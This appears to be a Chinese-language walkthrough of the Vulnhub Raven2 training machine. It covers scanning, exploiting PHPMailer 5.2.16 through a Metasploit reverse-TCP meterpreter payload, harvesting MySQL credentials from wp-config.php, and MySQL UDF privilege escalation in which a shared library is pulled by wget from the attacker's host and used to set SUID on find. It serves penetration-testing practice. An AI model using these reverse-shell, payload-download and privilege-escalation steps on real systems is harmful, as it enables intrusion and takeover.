Vulnhub系列靶机-Raven2

文章目录

  • Raven2 渗透测试
    • 1. 信息收集
      • 1.1 主机探测
      • 1.2 端口扫描
      • 1.3 目录爆破
    • 2. 漏洞探测
    • 3. 漏洞利用
      • 3.1 msfconsole
      • 3.2 交互式shell
    • 4. 权限提升

Raven2 渗透测试

1. 信息收集

1.1 主机探测

arp-scan -l

Vulnhub系列靶机-Raven2_第1张图片

1.2 端口扫描

nmap -p- -A 192.168.188.213

Vulnhub系列靶机-Raven2_第2张图片

通过nmap工具进行端口扫描发现靶机开放了22,80,111,58447端口。

访问Web页面

Vulnhub系列靶机-Raven2_第3张图片

使用浏览器插件Wappalyzer,查看网站使用的具体框架信息

Vulnhub系列靶机-Raven2_第4张图片

1.3 目录爆破

dirsearch -u 192.168.188.213 -e * -i 200

Vulnhub系列靶机-Raven2_第5张图片

2. 漏洞探测

访问一下wp-login.php页面

Vulnhub系列靶机-Raven2_第6张图片

尝试登录发现找不到网站

Vulnhub系列靶机-Raven2_第7张图片

访问http://192.168.188.213/vendor/页面

Vulnhub系列靶机-Raven2_第8张图片

点击PATH发现一个flag1

Vulnhub系列靶机-Raven2_第9张图片

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

点击README.md文件发现是PHPMailer。

Vulnhub系列靶机-Raven2_第10张图片

PHPMailer的版本信息5.2.16。

Vulnhub系列靶机-Raven2_第11张图片

经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。在网上搜索资料后发现PHPMailer5.2.16版本的漏洞有远程命令执行漏洞。

Vulnhub系列靶机-Raven2_第12张图片

Web页面中也有发送邮件的位置,这样就对应上了。

Vulnhub系列靶机-Raven2_第13张图片

3. 漏洞利用

3.1 msfconsole

使用msfconsole搜索phpmailer

search phpmailer

Vulnhub系列靶机-Raven2_第14张图片

info 0

有两个先查看下第一个描述情况。

Vulnhub系列靶机-Raven2_第15张图片

发现第一个版本需要在5.2.18之下,而之前发现的版本为5.2.16正好小于5.2.18。那么我们直接使用第一个即可。

use 0

Vulnhub系列靶机-Raven2_第16张图片

配置选项如下

options
set RHOSTS 192.168.188.213 			  	  # 靶机的IP地址
set TARGETURI /contact.php   			  # 邮件功能页面
set WEB_ROOT /var/www/html    			  # 网站绝对路径
set payload php/meterpreter/reverse_tcp	  # 设置payload
set LHOST 192.168.188.157   			  # kali的IP地址
run

Vulnhub系列靶机-Raven2_第17张图片

复制生成的0nB8rTnS.php拼接在URL后然后进行访问。

Vulnhub系列靶机-Raven2_第18张图片

反弹成功。

Vulnhub系列靶机-Raven2_第19张图片

在/var/www路径下可以看到flag2.txt文件

Vulnhub系列靶机-Raven2_第20张图片

flag2{6a8ed560f0b5358ecf844108048eb337}

切换为shell形式,搜索所有的flag

shell
find ./ -name "flag*"

Vulnhub系列靶机-Raven2_第21张图片

./html/wordpress/wp-content/uploads/2018/11/flag3.png

Vulnhub系列靶机-Raven2_第22张图片

f1ag3a0f568aa9de277887f37730d71520d9b}

3.2 交互式shell

使用python一句话反弹交互式shell。

python -c 'import pty; pty.spawn("/bin/bash")'

Vulnhub系列靶机-Raven2_第23张图片

尝试搜索wordpress的配置文件

find ./ -name "*fig*"

Vulnhub系列靶机-Raven2_第24张图片

在wp-config.php文件中发现了mysql的数据库账号密码为:

root
R@v3nSecurity

Vulnhub系列靶机-Raven2_第25张图片

使用账号密码成功登录数据库。

mysql -uroot -pR@v3nSecurity

Vulnhub系列靶机-Raven2_第26张图片

4. 权限提升

MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

ps -aux|grep mysql  				#查看mysql的运行权限
select version();   				#查看mysql版本
select @@basedir;   				#确认mysql安装位置
show variables like '%basedir%';    #确认mysql安装位置
show variables like '%secure%';  	#查看可导出文件位置

Vulnhub系列靶机-Raven2_第27张图片

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

show variables like '%plugin%';  	 #查找插件位置
show variables like '%compile%';  	 #查看系统版本

Vulnhub系列靶机-Raven2_第28张图片

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

searchsploit 1518.c  			 #搜索1518.c
locate 1518.c	 				 #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹

image-20231013170420371

image-20231013170431915

Vulnhub系列靶机-Raven2_第29张图片

利用gcc编译,生成1518.so文件。

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

命令参数说明

  • -g:生成调试信息。
  • -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
  • -o:执行命令后的文件名。
  • -lc:-l 库 c库名。
  • -Wl:该选项告诉编译器将后面的参数传递给链接器。
  • -soname:则指定了动态库的soname(简单共享名,Short for shared object name)

Vulnhub系列靶机-Raven2_第30张图片

在kali上使用python开启http服务。

python3 -m http.server 7777

在获取的shell中,将该“.so”文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

cd /tmp
wget http://192.168.188.157:7777/1518.so
chmod 777 *

Vulnhub系列靶机-Raven2_第31张图片

再次登录mysql,并使用一下命令创建自定义函数。

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity

# 使用mysql数据库
use mysql;

# 创建foo表
create table foo(line blob);

# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));

# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';

# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');

# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

Vulnhub系列靶机-Raven2_第32张图片

利用find命名执行whoami,发现当前为root权限。

touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;
cd /
ls
cd root
ls
cat flag4.txt

Vulnhub系列靶机-Raven2_第33张图片

你可能感兴趣的:(Vulnhub靶机,网络安全,系统安全,vulnhub,靶机,udf提权)